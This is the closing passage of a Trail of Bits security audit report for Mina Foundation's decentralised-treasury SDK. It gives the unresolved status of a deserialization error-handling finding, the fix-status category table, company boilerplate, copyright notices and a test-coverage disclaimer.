```

Figure J.2: Check added to the VoteReducer ZkProgram

([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts#L378-L384](#))

TOB-MINA-9: Incomplete error handling in deserialization methods

Unresolved. The client provided the following context for this finding's fix status:

This makes sense, and should be addressed. This method itself exists as a workaround for deserialization of empty public keys.

K. Fix Review Status Categories

The following table describes the statuses used to indicate whether an issue has been sufficiently addressed.

Fix Status	
Status	Description
Undetermined	The status of the issue was not determined during this engagement.
Unresolved	The issue persists and has not been resolved.
Partially Resolved	The issue persists but has been partially resolved.
Resolved	The issue has been sufficiently resolved.

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at <https://github.com/trailofbits/publications>, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review assessments, supporting client organizations in the technology, defense, blockchain, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, Uniswap, Solana, Ethereum Foundation, Linux Foundation, and Zoom.

To keep up with our latest news and announcements, please follow [@trailofbits on X](#) or [LinkedIn](#) and explore our public repositories at <https://github.com/trailofbits>. To engage us directly, visit our "Contact" page at <https://www.trailofbits.com/contact> or email us at info@trailofbits.com.

Trail of Bits, Inc.

228 Park Ave S #80688

New York, NY 10003

<https://www.trailofbits.com>

info@trailofbits.com

Notices and Remarks

Copyright and Distribution

© 2026 by Trail of Bits, Inc.

All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this report in the United Kingdom.

Trail of Bits considers this report public information; it is licensed to Mina Foundation under the terms of the project statement of work and has been made public at Mina Foundation's request. Material within this report may not be reproduced or distributed in part or in whole without Trail of Bits' express written permission.

The sole canonical source for Trail of Bits publications is the [Trail of Bits Publications page](#). Reports accessed through sources other than that page may have been modified and should not be considered authentic.

Test Coverage Disclaimer

Trail of Bits performed all activities associated with this project in accordance with a statement of work and an agreed-upon project plan.

Security assessment projects are time-boxed and often rely on information provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test software controls and security properties. These techniques augment our manual security review work, but each has its limitations. For example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. A project's time and resource constraints also limit their use.